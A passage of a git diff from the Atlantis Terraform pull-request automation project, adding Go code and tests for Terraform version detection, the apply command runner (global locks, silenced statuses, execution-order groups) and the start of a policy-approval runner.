following tests: + // If terraform configuration is used, result should be `0.12.8`. + // If project configuration is used, result should be `0.12.6`. + // If an inexact version is used, the result should be `nil` + // If default is to be used, result should be `nil`. + + baseVersionConfig := ` +terraform { + required_version = "%s" +} +` + // Depending on when the tests are run, the > and >= matching versions will have to be increased. + // It's probably not worth testing the terraform-switcher version here so we only test <, <=, and ~>. + // One way to test this in the future is to mock tfswitcher.GetTFList() to return the highest + // version of 1.3.5. + expectedVersions := map[string]string{ + "= 0.12.8": "0.12.8", + "< 0.12.8": "0.12.7", + "<= 0.12.8": "0.12.8", + "~> 0.12.8": "0.12.31", + + "= 1.0.0": "1.0.0", + "< 1.0.0": "0.15.5", + "<= 1.0.0": "1.0.0", + "~> 1.0.0": "1.0.11", + + "= 1.0": "1.0.0", + "< 1.0": "0.15.5", + "<= 1.0": "1.0.0", + // cannot use ~> 1.3 or ~> 1.0 since that is a moving target since it will always + // resolve to the latest terraform 1.x + "~> 1.3.0": "1.3.10", + } + + type testCase struct { + DirStructure map[string]interface{} + Exp map[string]string + IsExact bool + } + + testCases := make(map[string]testCase) + for version, expected := range expectedVersions { + testCases[fmt.Sprintf("version using \"%s\"", version)] = testCase{ + DirStructure: map[string]interface{}{ + "project1": map[string]interface{}{ + "main.tf": fmt.Sprintf(baseVersionConfig, version), + }, + }, + Exp: map[string]string{ + "project1": expected, + }, + IsExact: version[0] == "="[0], + } + } + + testCases["no version specified"] = testCase{ + DirStructure: map[string]interface{}{ + "project1": map[string]interface{}{ + "main.tf": nil, + }, + }, + Exp: map[string]string{ + "project1": "", + }, + IsExact: true, + } + + testCases["projects with different terraform versions"] = testCase{ + DirStructure: map[string]interface{}{ + "project1": map[string]interface{}{ + "main.tf": fmt.Sprintf(baseVersionConfig, "= 0.12.8"), + }, + "project2": map[string]interface{}{ + "main.tf": strings.Replace(fmt.Sprintf(baseVersionConfig, "= 0.12.8"), "0.12.8", "0.12.9", -1), + }, + }, + Exp: map[string]string{ + "project1": "0.12.8", + "project2": "0.12.9", + }, + IsExact: true, + } + + runDetectVersionTestCase := func(t *testing.T, name string, testCase testCase, downloadsAllowed bool) bool { + return t.Run(name, func(t *testing.T) { + RegisterMockTestingT(t) + + logger := logging.NewNoopLogger(t) + RegisterMockTestingT(t) + _, binDir, cacheDir := mkSubDirs(t) + projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() + mockDownloader := mocks.NewMockDownloader() + distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) + + c, err := tfclient.NewTestClient( + logger, + distribution, + binDir, + cacheDir, + "", + "", + "", + cmd.DefaultTFVersionFlag, + cmd.DefaultTFDownloadURL, + downloadsAllowed, + true, + projectCmdOutputHandler) + Ok(t, err) + + tmpDir := DirStructure(t, testCase.DirStructure) + + for project, expectedVersion := range testCase.Exp { + detectedVersion := c.DetectVersion(logger, filepath.Join(tmpDir, project)) + + expectNil := expectedVersion == "" || (!testCase.IsExact && !downloadsAllowed) + if expectNil { + Assert(t, detectedVersion == nil, "TerraformVersion is supposed to be nil.") + } else { + Assert(t, detectedVersion != nil, "TerraformVersion is nil.") + Ok(t, err) + Equals(t, expectedVersion, detectedVersion.String()) + } + } + + }) + } + + for name, testCase := range testCases { + runDetectVersionTestCase(t, name+": Downloads Allowed", testCase, true) + runDetectVersionTestCase(t, name+": Downloads Disabled", testCase, false) + } +} + +func TestExtractExactRegex(t *testing.T) { + logger := logging.NewNoopLogger(t) + RegisterMockTestingT(t) + _, binDir, cacheDir := mkSubDirs(t) + projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() + mockDownloader := mocks.NewMockDownloader() + distribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) + + c, err := tfclient.NewTestClient(logger, distribution, binDir, cacheDir, "", "", "0.11.10", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, true, true, projectCmdOutputHandler) + Ok(t, err) + + tests := []struct { + version string + want []string + }{ + {"= 1.2.3", []string{"1.2.3"}}, + {"=1.2.3", []string{"1.2.3"}}, + {"1.2.3", []string{"1.2.3"}}, + {"v1.2.3", nil}, + {">= 1.2.3", nil}, + {">=1.2.3", nil}, + {"<= 1.2.3", nil}, + {"<=1.2.3", nil}, + {"~> 1.2.3", nil}, + } + + for _, tt := range tests { + t.Run(tt.version, func(t *testing.T) { + if got := c.ExtractExactRegex(logger, tt.version); !reflect.DeepEqual(got, tt.want) { + t.Errorf("ExtractExactRegex() = %v, want %v", got, tt.want) + } + }) + } +} diff --git a/server/events/apply_command_runner.go b/server/events/apply_command_runner.go new file mode 100644 index 0000000000..17ac622932 --- /dev/null +++ b/server/events/apply_command_runner.go @@ -0,0 +1,230 @@ +package events + +import ( + "github.com/runatlantis/atlantis/server/core/locking" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/events/vcs" +) + +func NewApplyCommandRunner( + vcsClient vcs.Client, + disableApplyAll bool, + applyCommandLocker locking.ApplyLockChecker, + commitStatusUpdater CommitStatusUpdater, + prjCommandBuilder ProjectApplyCommandBuilder, + prjCmdRunner ProjectApplyCommandRunner, + autoMerger *AutoMerger, + pullUpdater *PullUpdater, + dbUpdater *DBUpdater, + backend locking.Backend, + parallelPoolSize int, + SilenceNoProjects bool, + silenceVCSStatusNoProjects bool, + pullReqStatusFetcher vcs.PullReqStatusFetcher, +) *ApplyCommandRunner { + return &ApplyCommandRunner{ + vcsClient: vcsClient, + DisableApplyAll: disableApplyAll, + locker: applyCommandLocker, + commitStatusUpdater: commitStatusUpdater, + prjCmdBuilder: prjCommandBuilder, + prjCmdRunner: prjCmdRunner, + autoMerger: autoMerger, + pullUpdater: pullUpdater, + dbUpdater: dbUpdater, + Backend: backend, + parallelPoolSize: parallelPoolSize, + SilenceNoProjects: SilenceNoProjects, + silenceVCSStatusNoProjects: silenceVCSStatusNoProjects, + pullReqStatusFetcher: pullReqStatusFetcher, + } +} + +type ApplyCommandRunner struct { + DisableApplyAll bool + Backend locking.Backend + locker locking.ApplyLockChecker + vcsClient vcs.Client + commitStatusUpdater CommitStatusUpdater + prjCmdBuilder ProjectApplyCommandBuilder + prjCmdRunner ProjectApplyCommandRunner + autoMerger *AutoMerger + pullUpdater *PullUpdater + dbUpdater *DBUpdater + parallelPoolSize int + pullReqStatusFetcher vcs.PullReqStatusFetcher + // SilenceNoProjects is whether Atlantis should respond to PRs if no projects + // are found + SilenceNoProjects bool + // SilenceVCSStatusNoPlans is whether any plan should set commit status if no projects + // are found + silenceVCSStatusNoProjects bool + SilencePRComments []string +} + +func (a *ApplyCommandRunner) Run(ctx *command.Context, cmd *CommentCommand) { + var err error + baseRepo := ctx.Pull.BaseRepo + pull := ctx.Pull + + locked, err := a.IsLocked() + // CheckApplyLock falls back to AllowedCommand flag if fetching the lock + // raises an error + // We will log failure as warning + if err != nil { + ctx.Log.Warn("checking global apply lock: %s", err) + } + + if locked { + ctx.Log.Info("ignoring apply command since apply disabled globally") + if err := a.vcsClient.CreateComment(ctx.Log, baseRepo, pull.Num, applyDisabledComment, command.Apply.String()); err != nil { + ctx.Log.Err("unable to comment on pull request: %s", err) + } + + return + } + + if a.DisableApplyAll && !cmd.IsForSpecificProject() { + ctx.Log.Info("ignoring apply command without flags since apply all is disabled") + if err := a.vcsClient.CreateComment(ctx.Log, baseRepo, pull.Num, applyAllDisabledComment, command.Apply.String()); err != nil { + ctx.Log.Err("unable to comment on pull request: %s", err) + } + + return + } + + // Get the mergeable status before we set any build statuses of our own. + // We do this here because when we set a "Pending" status, if users have + // required the Atlantis status checks to pass, then we've now changed + // the mergeability status of the pull request. + // This sets the approved, mergeable, and sqlocked status in the context. + ctx.PullRequestStatus, err = a.pullReqStatusFetcher.FetchPullStatus(ctx.Log, pull) + if err != nil { + // On error we continue the request with mergeable assumed false. + // We want to continue because not all apply's will need this status, + // only if they rely on the mergeability requirement. + // All PullRequestStatus fields are set to false by default when error. + ctx.Log.Warn("unable to get pull request status: %s. Continuing with mergeable and approved assumed false", err) + } + + var projectCmds []command.ProjectContext + projectCmds, err = a.prjCmdBuilder.BuildApplyCommands(ctx, cmd) + + if err != nil { + if statusErr := a.commitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.FailedCommitStatus, cmd.CommandName()); statusErr != nil { + ctx.Log.Warn("unable to update commit status: %s", statusErr) + } + a.pullUpdater.updatePull(ctx, cmd, command.Result{Error: err}) + return + } + + // If there are no projects to apply, don't respond to the PR and ignore + if len(projectCmds) == 0 && a.SilenceNoProjects { + ctx.Log.Info("determined there was no project to run plan in") + if !a.silenceVCSStatusNoProjects { + if cmd.IsForSpecificProject() { + // With a specific apply, just reset the status so it's not stuck in pending state + pullStatus, err := a.Backend.GetPullStatus(pull) + if err != nil { + ctx.Log.Warn("unable to fetch pull status: %s", err) + return + } + if pullStatus == nil { + // default to 0/0 + ctx.Log.Debug("setting VCS status to 0/0 success as no previous state was found") + if err := a.commitStatusUpdater.UpdateCombinedCount(ctx.Log, baseRepo, pull, models.SuccessCommitStatus, command.Apply, 0, 0); err != nil { + ctx.Log.Warn("unable to update commit status: %s", err) + } + return + } + ctx.Log.Debug("resetting VCS status") + a.updateCommitStatus(ctx, *pullStatus) + } else { + // With a generic apply, we set successful commit statuses + // with 0/0 projects planned successfully because some users require + // the Atlantis status to be passing for all pull requests. + // Does not apply to skipped runs for specific projects + ctx.Log.Debug("setting VCS status to success with no projects found") + if err := a.commitStatusUpdater.UpdateCombinedCount(ctx.Log, baseRepo, pull, models.SuccessCommitStatus, command.Apply, 0, 0); err != nil { + ctx.Log.Warn("unable to update commit status: %s", err) + } + } + } + return + } + + // Only run commands in parallel if enabled + var result command.Result + if a.isParallelEnabled(projectCmds) { + ctx.Log.Info("Running applies in parallel") + result = runProjectCmdsParallelGroups(ctx, projectCmds, a.prjCmdRunner.Apply, a.parallelPoolSize) + } else { + result = runProjectCmds(projectCmds, a.prjCmdRunner.Apply) + } + ctx.CommandHasErrors = result.HasErrors() + + a.pullUpdater.updatePull( + ctx, + cmd, + result) + + pullStatus, err := a.dbUpdater.updateDB(ctx, pull, result.ProjectResults) + if err != nil { + ctx.Log.Err("writing results: %s", err) + return + } + + a.updateCommitStatus(ctx, pullStatus) + + if a.autoMerger.automergeEnabled(projectCmds) && !cmd.AutoMergeDisabled { + a.autoMerger.automerge(ctx, pullStatus, a.autoMerger.deleteSourceBranchOnMergeEnabled(projectCmds), cmd.AutoMergeMethod) + } +} + +func (a *ApplyCommandRunner) IsLocked() (bool, error) { + lock, err := a.locker.CheckApplyLock() + + return lock.Locked, err +} + +func (a *ApplyCommandRunner) isParallelEnabled(projectCmds []command.ProjectContext) bool { + return len(projectCmds) > 0 && projectCmds[0].ParallelApplyEnabled +} + +func (a *ApplyCommandRunner) updateCommitStatus(ctx *command.Context, pullStatus models.PullStatus) { + var numSuccess int + var numErrored int + status := models.SuccessCommitStatus + + numSuccess = pullStatus.StatusCount(models.AppliedPlanStatus) + pullStatus.StatusCount(models.PlannedNoChangesPlanStatus) + numErrored = pullStatus.StatusCount(models.ErroredApplyStatus) + + if numErrored > 0 { + status = models.FailedCommitStatus + } else if numSuccess < len(pullStatus.Projects) { + // If there are plans that haven't been applied yet, we'll use a pending + // status. + status = models.PendingCommitStatus + } + + if err := a.commitStatusUpdater.UpdateCombinedCount( + ctx.Log, + ctx.Pull.BaseRepo, + ctx.Pull, + status, + command.Apply, + numSuccess, + len(pullStatus.Projects), + ); err != nil { + ctx.Log.Warn("unable to update commit status: %s", err) + } +} + +// applyAllDisabledComment is posted when apply all commands (i.e. "atlantis apply") +// are disabled and an apply all command is issued. +var applyAllDisabledComment = "**Error:** Running `atlantis apply` without flags is disabled." + + " You must specify which project to apply via the `-d `, `-w ` or `-p ` flags." + +// applyDisabledComment is posted when apply commands are disabled globally and an apply command is issued. +var applyDisabledComment = "**Error:** Running `atlantis apply` is disabled." diff --git a/server/events/apply_command_runner_test.go b/server/events/apply_command_runner_test.go new file mode 100644 index 0000000000..d822c58ebf --- /dev/null +++ b/server/events/apply_command_runner_test.go @@ -0,0 +1,556 @@ +package events_test + +import ( + "errors" + "testing" + + "github.com/google/go-github/v71/github" + . "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/server/core/db" + "github.com/runatlantis/atlantis/server/core/locking" + "github.com/runatlantis/atlantis/server/events" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/events/models/testdata" + "github.com/runatlantis/atlantis/server/logging" + "github.com/runatlantis/atlantis/server/metrics" + . "github.com/runatlantis/atlantis/testing" + "github.com/stretchr/testify/require" +) + +func TestApplyCommandRunner_IsLocked(t *testing.T) { + logger := logging.NewNoopLogger(t) + RegisterMockTestingT(t) + + cases := []struct { + Description string + ApplyLocked bool + ApplyLockError error + ExpComment string + }{ + { + Description: "When global apply lock is present IsDisabled returns true", + ApplyLocked: true, + ApplyLockError: nil, + ExpComment: "**Error:** Running `atlantis apply` is disabled.", + }, + { + Description: "When no global apply lock is present IsDisabled returns false", + ApplyLocked: false, + ApplyLockError: nil, + ExpComment: "Ran Apply for 0 projects:", + }, + { + Description: "If ApplyLockChecker returns an error IsDisabled returns false", + ApplyLockError: errors.New("error"), + ApplyLocked: false, + ExpComment: "Ran Apply for 0 projects:", + }, + } + + for _, c := range cases { + t.Run(c.Description, func(t *testing.T) { + vcsClient := setup(t) + + scopeNull, _, _ := metrics.NewLoggingScope(logger, "atlantis") + + pull := &github.PullRequest{ + State: github.Ptr("open"), + } + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} + When(githubGetter.GetPullRequest(logger, testdata.GithubRepo, testdata.Pull.Num)).ThenReturn(pull, nil) + When(eventParsing.ParseGithubPull(logger, pull)).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) + + ctx := &command.Context{ + User: testdata.User, + Log: logging.NewNoopLogger(t), + Scope: scopeNull, + Pull: modelPull, + HeadRepo: testdata.GithubRepo, + Trigger: command.CommentTrigger, + } + + When(applyLockChecker.CheckApplyLock()).ThenReturn(locking.ApplyCommandLock{Locked: c.ApplyLocked}, c.ApplyLockError) + applyCommandRunner.Run(ctx, &events.CommentCommand{Name: command.Apply}) + + vcsClient.VerifyWasCalledOnce().CreateComment( + Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull.Num), Eq(c.ExpComment), Eq("apply")) + }) + } +} + +func TestApplyCommandRunner_IsSilenced(t *testing.T) { + logger := logging.NewNoopLogger(t) + RegisterMockTestingT(t) + + cases := []struct { + Description string + Matched bool + Targeted bool + VCSStatusSilence bool + PrevApplyStored bool // stores a 1/1 passing apply in the backend + ExpVCSStatusSet bool + ExpVCSStatusTotal int + ExpVCSStatusSucc int + ExpSilenced bool + }{ + { + Description: "When applying, don't comment but set the 0/0 VCS status", + ExpVCSStatusSet: true, + ExpSilenced: true, + }, + { + Description: "When applying with any previous apply's, don't comment but set the 0/0 VCS status", + PrevApplyStored: true, + ExpVCSStatusSet: true, + ExpSilenced: true, + }, + { + Description: "When applying with unmatched target, don't comment but set the 0/0 VCS status", + Targeted: true, + ExpVCSStatusSet: true, + ExpSilenced: true, + }, + { + Description: "When applying with unmatched target and any previous apply's, don't comment and maintain VCS status", + Targeted: true, + PrevApplyStored: true, + ExpVCSStatusSet: true, + ExpSilenced: true, + ExpVCSStatusSucc: 1, + ExpVCSStatusTotal: 1, + }, + { + Description: "When applying with silenced VCS status, don't do anything", + VCSStatusSilence: true, + ExpVCSStatusSet: false, + ExpSilenced: true, + }, + { + Description: "When applying with matching projects, comment as usual", + Matched: true, + ExpVCSStatusSet: true, + ExpSilenced: false, + ExpVCSStatusSucc: 1, + ExpVCSStatusTotal: 1, + }, + } + + for _, c := range cases { + t.Run(c.Description, func(t *testing.T) { + // create an empty DB + tmp := t.TempDir() + db, err := db.New(tmp) + t.Cleanup(func() { + db.Close() + }) + Ok(t, err) + + vcsClient := setup(t, func(tc *TestConfig) { + tc.SilenceNoProjects = true + tc.silenceVCSStatusNoProjects = c.VCSStatusSilence + tc.backend = db + }) + + scopeNull, _, _ := metrics.NewLoggingScope(logger, "atlantis") + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} + + cmd := &events.CommentCommand{Name: command.Apply} + if c.Targeted { + cmd.RepoRelDir = "mydir" + } + + ctx := &command.Context{ + User: testdata.User, + Log: logging.NewNoopLogger(t), + Scope: scopeNull, + Pull: modelPull, + HeadRepo: testdata.GithubRepo, + Trigger: command.CommentTrigger, + } + if c.PrevApplyStored { + _, err = db.UpdatePullWithResults(modelPull, []command.ProjectResult{ + { + Command: command.Apply, + RepoRelDir: "prevdir", + Workspace: "default", + }, + }) + Ok(t, err) + } + + When(projectCommandBuilder.BuildApplyCommands(ctx, cmd)).Then(func(args []Param) ReturnValues { + if c.Matched { + return ReturnValues{[]command.ProjectContext{{ + CommandName: command.Apply, + ProjectPlanStatus: models.PlannedPlanStatus, + }}, nil} + } + return ReturnValues{[]command.ProjectContext{}, nil} + }) + + applyCommandRunner.Run(ctx, cmd) + + timesComment := 1 + if c.ExpSilenced { + timesComment = 0 + } + + vcsClient.VerifyWasCalled(Times(timesComment)).CreateComment( + Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()) + if c.ExpVCSStatusSet { + commitUpdater.VerifyWasCalledOnce().UpdateCombinedCount( + Any[logging.SimpleLogging](), + Any[models.Repo](), + Any[models.PullRequest](), + Eq[models.CommitStatus](models.SuccessCommitStatus), + Eq[command.Name](command.Apply), + Eq(c.ExpVCSStatusSucc), + Eq(c.ExpVCSStatusTotal), + ) + } else { + commitUpdater.VerifyWasCalled(Never()).UpdateCombinedCount( + Any[logging.SimpleLogging](), + Any[models.Repo](), + Any[models.PullRequest](), + Any[models.CommitStatus](), + Eq[command.Name](command.Apply), + Any[int](), + Any[int](), + ) + } + }) + } +} + +func TestApplyCommandRunner_ExecutionOrder(t *testing.T) { + logger := logging.NewNoopLogger(t) + RegisterMockTestingT(t) + + cases := []struct { + Description string + ProjectContexts []command.ProjectContext + ProjectResults []command.ProjectResult + RunnerInvokeMatch []*EqMatcher + ExpComment string + ApplyFailed bool + }{ + { + Description: "When first apply fails, the second don't run", + ProjectContexts: []command.ProjectContext{ + { + ExecutionOrderGroup: 0, + ProjectName: "First", + ParallelApplyEnabled: true, + AbortOnExecutionOrderFail: true, + }, + { + ExecutionOrderGroup: 1, + ProjectName: "Second", + ParallelApplyEnabled: true, + AbortOnExecutionOrderFail: true, + }, + }, + ProjectResults: []command.ProjectResult{ + { + Command: command.Apply, + ApplySuccess: "Great success!", + }, + { + Command: command.Apply, + Error: errors.New("shabang"), + }, + }, + RunnerInvokeMatch: []*EqMatcher{ + Once(), + Once(), + }, + ApplyFailed: true, + ExpComment: "Ran Apply for 2 projects:\n\n" + + "1. dir: `` workspace: ``\n1. dir: `` workspace: ``\n---\n\n### 1. dir: `` workspace: ``\n```diff\nGreat success!\n```\n\n---\n### " + + "2. dir: `` workspace: ``\n**Apply Error**\n```\nshabang\n```\n\n---\n### Apply Summary\n\n2 projects, 1 successful, 0 failed, 1 errored", + }, + { + Description: "When first apply fails, the second not will run", + ProjectContexts: []command.ProjectContext{ + { + ExecutionOrderGroup: 0, + ProjectName: "First", + ParallelApplyEnabled: true, + AbortOnExecutionOrderFail: true, + }, + { + ExecutionOrderGroup: 1, + ProjectName: "Second", + ParallelApplyEnabled: true, + AbortOnExecutionOrderFail: true, + }, + }, + ProjectResults: []command.ProjectResult{ + { + Command: command.Apply, + Error: errors.New("shabang"), + }, + { + Command: command.Apply, + ApplySuccess: "Great success!", + }, + }, + RunnerInvokeMatch: []*EqMatcher{ + Once(), + Never(), + }, + ApplyFailed: true, + ExpComment: "Ran Apply for dir: `` workspace: ``\n\n**Apply Error**\n```\nshabang\n```", + }, + { + Description: "When both in a group of two succeeds, the following two will run", + ProjectContexts: []command.ProjectContext{ + { + ExecutionOrderGroup: 0, + ProjectName: "First", + ParallelApplyEnabled: true, + AbortOnExecutionOrderFail: true, + }, + { + ExecutionOrderGroup: 0, + ProjectName: "Second", + AbortOnExecutionOrderFail: true, + }, + { + ExecutionOrderGroup: 1, + ProjectName: "Third", + AbortOnExecutionOrderFail: true, + }, + { + ExecutionOrderGroup: 1, + ProjectName: "Fourth", + AbortOnExecutionOrderFail: true, + }, + }, + ProjectResults: []command.ProjectResult{ + { + Command: command.Apply, + ApplySuccess: "Great success!", + }, + { + Command: command.Apply, + Error: errors.New("shabang"), + }, + { + Command: command.Apply, + ApplySuccess: "Great success!", + }, + { + Command: command.Apply, + ApplySuccess: "Great success!", + }, + }, + RunnerInvokeMatch: []*EqMatcher{ + Once(), + Once(), + Never(), + Never(), + }, + ApplyFailed: true, + ExpComment: "Ran Apply for 2 projects:\n\n" + + "1. dir: `` workspace: ``\n1. dir: `` workspace: ``\n---\n\n### 1. dir: `` workspace: ``\n```diff\nGreat success!\n```\n\n---\n### " + + "2. dir: `` workspace: ``\n**Apply Error**\n```\nshabang\n```\n\n---\n### Apply Summary\n\n2 projects, 1 successful, 0 failed, 1 errored", + }, + { + Description: "When one out of two fails, the following two will not run", + ProjectContexts: []command.ProjectContext{ + { + ExecutionOrderGroup: 0, + ProjectName: "First", + ParallelApplyEnabled: true, + AbortOnExecutionOrderFail: true, + }, + { + ExecutionOrderGroup: 0, + ProjectName: "Second", + AbortOnExecutionOrderFail: true, + }, + { + ExecutionOrderGroup: 1, + ProjectName: "Third", + AbortOnExecutionOrderFail: true, + }, + { + ExecutionOrderGroup: 1, + AbortOnExecutionOrderFail: true, + ProjectName: "Fourth", + }, + }, + ProjectResults: []command.ProjectResult{ + { + Command: command.Apply, + ApplySuccess: "Great success!", + }, + { + Command: command.Apply, + ApplySuccess: "Great success!", + }, + { + Command: command.Apply, + Error: errors.New("shabang"), + }, + { + Command: command.Apply, + ApplySuccess: "Great success!", + }, + }, + RunnerInvokeMatch: []*EqMatcher{ + Once(), + Once(), + Once(), + Once(), + }, + ApplyFailed: true, + ExpComment: "Ran Apply for 4 projects:\n\n" + + "1. dir: `` workspace: ``\n1. dir: `` workspace: ``\n1. dir: `` workspace: ``\n1. dir: `` workspace: ``\n---\n\n### 1. dir: `` workspace: ``\n```diff\nGreat success!\n```\n\n---\n### " + + "2. dir: `` workspace: ``\n```diff\nGreat success!\n```\n\n---\n### " + + "3. dir: `` workspace: ``\n**Apply Error**\n```\nshabang\n```\n\n---\n### " + + "4. dir: `` workspace: ``\n```diff\nGreat success!\n```\n\n---\n### Apply Summary\n\n4 projects, 3 successful, 0 failed, 1 errored", + }, + { + Description: "Don't block when parallel is not set", + ProjectContexts: []command.ProjectContext{ + { + ExecutionOrderGroup: 0, + ProjectName: "First", + AbortOnExecutionOrderFail: true, + }, + { + ExecutionOrderGroup: 1, + ProjectName: "Second", + AbortOnExecutionOrderFail: true, + }, + }, + ProjectResults: []command.ProjectResult{ + { + Command: command.Apply, + Error: errors.New("shabang"), + }, + { + Command: command.Apply, + ApplySuccess: "Great success!", + }, + }, + RunnerInvokeMatch: []*EqMatcher{ + Once(), + Once(), + }, + ApplyFailed: true, + ExpComment: "Ran Apply for 2 projects:\n\n" + + "1. dir: `` workspace: ``\n1. dir: `` workspace: ``\n---\n\n### 1. dir: `` workspace: ``\n**Apply Error**\n```\nshabang\n```\n\n---\n### " + + "2. dir: `` workspace: ``\n```diff\nGreat success!\n```\n\n---\n### Apply Summary\n\n2 projects, 1 successful, 0 failed, 1 errored", + }, + { + Description: "Don't block when abortOnExecutionOrderFail is not set", + ProjectContexts: []command.ProjectContext{ + { + ExecutionOrderGroup: 0, + ProjectName: "First", + }, + { + ExecutionOrderGroup: 1, + ProjectName: "Second", + }, + }, + ProjectResults: []command.ProjectResult{ + { + Command: command.Apply, + Error: errors.New("shabang"), + }, + { + Command: command.Apply, + ApplySuccess: "Great success!", + }, + }, + RunnerInvokeMatch: []*EqMatcher{ + Once(), + Once(), + }, + ApplyFailed: true, + ExpComment: "Ran Apply for 2 projects:\n\n" + + "1. dir: `` workspace: ``\n1. dir: `` workspace: ``\n---\n\n### 1. dir: `` workspace: ``\n**Apply Error**\n```\nshabang\n```\n\n---\n### " + + "2. dir: `` workspace: ``\n```diff\nGreat success!\n```\n\n---\n### Apply Summary\n\n2 projects, 1 successful, 0 failed, 1 errored", + }, + { + Description: "All project finished successfully", + ProjectContexts: []command.ProjectContext{ + { + ExecutionOrderGroup: 0, + ProjectName: "First", + }, + { + ExecutionOrderGroup: 1, + ProjectName: "Second", + }, + }, + ProjectResults: []command.ProjectResult{ + { + Command: command.Apply, + ApplySuccess: "Great success!", + }, + { + Command: command.Apply, + ApplySuccess: "Great success!", + }, + }, + RunnerInvokeMatch: []*EqMatcher{ + Once(), + Once(), + }, + ApplyFailed: false, + ExpComment: "Ran Apply for 2 projects:\n\n" + + "1. dir: `` workspace: ``\n1. dir: `` workspace: ``\n---\n\n### 1. dir: `` workspace: ``\n```diff\nGreat success!\n```\n\n---\n### " + + "2. dir: `` workspace: ``\n```diff\nGreat success!\n```\n\n---\n### Apply Summary\n\n2 projects, 2 successful, 0 failed, 0 errored", + }, + } + + for _, c := range cases { + t.Run(c.Description, func(t *testing.T) { + vcsClient := setup(t) + + scopeNull, _, _ := metrics.NewLoggingScope(logger, "atlantis") + + pull := &github.PullRequest{ + State: github.Ptr("open"), + } + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} + + cmd := &events.CommentCommand{Name: command.Apply} + + ctx := &command.Context{ + User: testdata.User, + Log: logging.NewNoopLogger(t), + Scope: scopeNull, + Pull: modelPull, + HeadRepo: testdata.GithubRepo, + Trigger: command.CommentTrigger, + } + + When(githubGetter.GetPullRequest(logger, testdata.GithubRepo, testdata.Pull.Num)).ThenReturn(pull, nil) + When(eventParsing.ParseGithubPull(logger, pull)).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) + + When(projectCommandBuilder.BuildApplyCommands(ctx, cmd)).ThenReturn(c.ProjectContexts, nil) + for i := range c.ProjectContexts { + When(projectCommandRunner.Apply(c.ProjectContexts[i])).ThenReturn(c.ProjectResults[i]) + } + + applyCommandRunner.Run(ctx, cmd) + + for i := range c.ProjectContexts { + projectCommandRunner.VerifyWasCalled(c.RunnerInvokeMatch[i]).Apply(c.ProjectContexts[i]) + } + + require.Equal(t, c.ApplyFailed, ctx.CommandHasErrors) + + vcsClient.VerifyWasCalledOnce().CreateComment( + Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull.Num), Eq(c.ExpComment), Eq("apply"), + ) + }) + } +} diff --git a/server/events/approve_policies_command_runner.go b/server/events/approve_policies_command_runner.go new file mode 100644 index 0000000000..c1a4fef9cc --- /dev/null +++ b/server/events/approve_policies_command_runner.go @@ -0,0 +1,107 @@ +package events + +import ( + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/events/vcs" +) + +func NewApprovePoliciesCommandRunner( + commitStatusUpdater CommitStatusUpdater, + prjCommandBuilder ProjectApprovePoliciesCommandBuilder, + prjCommandRunner ProjectApprovePoliciesCommandRunner, + pullUpdater *PullUpdater, + dbUpdater *DBUpdater, + SilenceNoProjects bool, + silenceVCSStatusNoProjects bool, + vcsClient vcs.Client, +) *ApprovePoliciesCommandRunner { + return &ApprovePoliciesCommandRunner{ + commitStatusUpdater: commitStatusUpdater, + prjCmdBuilder: prjCommandBuilder, + prjCmdRunner: prjCommandRunner, + pullUpdater: pullUpdater, + dbUpdater: dbUpdater, + SilenceNoProjects: SilenceNoProjects, + silenceVCSStatusNoProjects: silenceVCSStatusNoProjects, + vcsClient: vcsClient, + } +} + +type ApprovePoliciesCommandRunner struct { + commitStatusUpdater CommitStatusUpdater + pullUpdater *PullUpdater + dbUpdater *DBUpdater + prjCmdBuilder ProjectApprovePoliciesCommandBuilder + prjCmdRunner ProjectApprovePoliciesCommandRunner + // SilenceNoProjects is whether Atlantis should respond to PRs if no projects + // are found + SilenceNoProjects bool + silenceVCSStatusNoProjects bool + vcsClient vcs.Client +} + +func (a *ApprovePoliciesCommandRunner) Run(ctx *command.Context, cmd *CommentCommand) { + baseRepo := ctx.Pull.BaseRepo + pull := ctx.Pull + + if err := a.commitStatusUpdater.UpdateCombined(ctx.Log, baseRepo, pull, models.PendingCommitStatus, command.PolicyCheck); err != nil { + ctx.Log.Warn("unable to update commit status: %s", err) + } + + projectCmds, err := a.prjCmdBuilder.BuildApprovePoliciesCommands(ctx, cmd) + if err != nil { + if statusErr := a.commitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.FailedCommitStatus, command.PolicyCheck); statusErr != nil { + ctx.Log.Warn("unable to update commit status: %s", statusErr) + } + a.pullUpdater.updatePull(ctx, cmd, command.Result{Error: err}) + return + } + + if len(projectCmds) == 0 && a.SilenceNoProjects { + ctx.Log.Info("determined there was no project to run approve_policies in") + if !a.silenceVCSStatusNoProjects { + // If there were no projects modified, we set successful commit statuses + // with 0/0 projects approve_policies successfully because some users require + // the Atlantis status to be passing for all pull requests. + ctx.Log.Debug("setting VCS status to success with no projects found") + if err := a.commitStatusUpdater.UpdateCombinedCount(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.SuccessCommitStatus, command.PolicyCheck, 0, 0); err != nil { + ctx.Log.Warn("unable to update commit status: %s", err) + } + } + return + } + + result := 